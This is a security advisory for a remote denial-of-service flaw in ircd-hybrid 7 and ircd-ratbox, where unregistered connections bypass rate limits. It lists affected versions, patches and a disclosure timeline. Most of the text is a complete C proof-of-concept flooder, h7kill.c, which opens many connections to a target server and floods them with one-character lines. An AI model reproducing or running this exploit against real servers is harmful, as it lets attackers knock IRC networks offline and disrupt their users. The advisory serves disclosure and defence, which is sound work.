|
|
|
|
| |
| Due to faulty logic in the socket dequeuing mechanism used in hybrid 7 and the derivated ircd-ratbox, it is possible to severely lag an IRC server using a low-bandwidth DoS attack. |
| |
Credit:
The information has been provided by Erik Sperling Johansen.
|
| |
Vulnerable Systems:
* ircd-hybrid version 7.0.1 and prior
* ircd-ratbox version 1.5.1 and prior
* ircd-ratbox version 2.0rc6 and prior
Immune Systems:
* ircd-hybrid version 7.1-devel
* ircd-ratbox version 1.5.2
* ircd-ratbox version 2.0rc7
* ircd-hybrid version 6
* csircd
Client connections to the ircd are subject to a burstable rate limit, specified as messages per second, and implemented as a simple token bucket. This rate limit will cause a client to exit with an "Excess Flood" error if data is sent too fast. This rate limit is not used for connected servers, and more importantly, for connections that are not yet registered as a client or a server.
Processing of received data is a 2-stage operation. First, data is read from ready sockets, split into lines and queued up in a "linebuf" linked list with buffers allocated from a blockheap. Each line will cause a 537-byte block of data to be allocated.
Then, these lines are processed by parse_client_queued. If the sender is a server, there's no ratelimit which is fine. If the sender is a client, there's a ratelimit leading to a closed connection if it's exceeded. If the sender is "Unknown", there's a fixed ratelimit of MAX_FLOOD (default 5) lines per main loop iteration. This ratelimit does not cause the connection to be closed if it is exceeded, processing is simply postponed until next main loop iteration.
If a client hasn't registered and remains unidentified, it isn't actually subjected to rate limits. each line sent cause a 537 byte buffer to be allocated and the lines to be dequeued slowly. Since there is no real limit to the number of lines which can be dequeued in this state, a possible resource exhaustion is possible on the system running the IRCd server. In addition, any one character followed by a newline ('\n') will be considered to be a line of input and would cause the 537 byte buffer to be set aside.
The following supplied exploit code performs the necessary attack and lags down the affected ircd servers. The effects of the flood usually wear out in a few minutes after the attack is done. Nothing is reported in the logs in the default log level used by the servers.
The h7kill.c proof of concept code:
--------------------------------- Begin Code ---------------------------------
// Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
//
// ./kiddie-proofed - you'll need to correct a bug
//
// Tested on linux, should work with minor tweaks on other platforms
//
// -- Erik Sperling Johansen <einride@einride.org>
#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <time.h>
int done = 0;
void siginthandler(int x) {
fprintf(stdout, "Exiting\n");
done = 1;
}
void usage(const char * b) {
fprintf(stderr, "%s ip port connectioncount\n", b);
exit(1);
}
int makeconn(struct sockaddr_in * sin) {
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
return -1;
}
int n=1;
if (ioctl(s, FIONBIO, &n, sizeof(n))) {
perror("ioctl");
close(s);
return -1;
}
errno = 0;
if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1)
&& (errno != EINPROGRESS)) {
perror("connect");
close(s);
return -1;
}
return s;
};
int main(int argc, const char ** argv, const char ** envp) {
fd_set wfd, rfd;
FD_ZERO(&wfd);
FD_ZERO(&rfd);
if (argc != 4)
usage(argv[0]);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_addr.s_addr = inet_addr(argv[1]);
if (sin.sin_addr.s_addr == INADDR_NONE)
usage(argv[0]);
sin.sin_port = htons(atoi(argv[2]));
sin.sin_family = AF_INET;
int conncount = atoi(argv[3]);
if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
usage(argv[0]);
int * sockets = (int *) malloc(conncount * sizeof(int));
int i, highsock = 0;
char buf[65536];
char dummy[65536];
for (i=0; i<sizeof(buf)-1; i+=2) {
buf[i] = ' ';
buf[i+1] = '\n';
}
for (i = 0; i<conncount; ++i)
sockets[i] = -1;
highsock = -1;
int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
time_t Started = time(0), LastRep = time(0);
signal(SIGPIPE, SIG_IGN);
signal(SIGINT, siginthandler);
while (!done) {
fd_set w, r;
if (highsock == -1) {
for (i=0;i<conncount;++i) {
if (sockets[i] < 0) {
sockets[i] = makeconn(&sin);
if (sockets[i] >= 0) {
++CountConnects;
FD_SET(sockets[i], &wfd);
FD_SET(sockets[i], &rfd);
}
if (highsock < sockets[i])
highsock = sockets[i];
}
}
}
memcpy(&w, &wfd, sizeof(w));
memcpy(&r, &rfd, sizeof(r));
struct timeval tv = { 1, 0 };
int c = select(highsock+1, &r, &w, 0, &tv);
for (i = 0; (i<conncount) && (c > 0); ++i) {
if (sockets[i] >= 0) {
if (FD_ISSET(sockets[i], &w)) {
int bytes = send(sockets[i], buf, sizeof(buf), 0);
if (bytes > 0) {
CountBytes += bytes;
CurCountBytes += bytes;
} else {
#ifndef NONOISE
perror("send");
#endif
FD_CLR(sockets[i], &wfd);
FD_CLR(sockets[i], &rfd);
close(sockets[i]);
#ifndef NONOISE
fprintf(stdout, "(send) Lost conn on socket %i, reconnecting\n",
sockets[i]);
#endif
sockets[i] = -1;
highsock = -1;
}
}
}
if (sockets[i] >= 0) {
if (FD_ISSET(sockets[i], &r)) {
errno = 0;
if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
#ifndef NONOISE
perror("recv");
#endif
FD_CLR(sockets[i], &wfd);
FD_CLR(sockets[i], &rfd);
close(sockets[i]);
#ifndef NONOISE
fprintf(stdout, "(recv) Lost conn on socket %i, reconnecting\n",
sockets[i]);
#endif
sockets[i] = -1;
highsock = -1;
}
}
}
}
if (time(0) - LastRep > 5) {
fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last
period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes /
(time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
LastRep = time(0);
CurCountBytes = 0;
}
}
fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",
CountConnects, CountBytes, CountBytes / (time(0) - Started));
return 0;
}
---------------------------------- End Code ----------------------------------
Patch Availability:
* Upgrade to hybrid-6 or csircd
* Get the corrected ratbox-1.5.2 from http://www.ircd-ratbox.org
* Get a hybrid-7.0.1 patch from http://www.ircd-hybrid.org/diff/unreg_limit.diff
Disclosure Timeline
* Found june 13th.
* Developers informed june 14th. Patch made available immediately.
* Notified EFNet administration june 15th.
* Public release june 19th.
|
|
|
|
|
|
|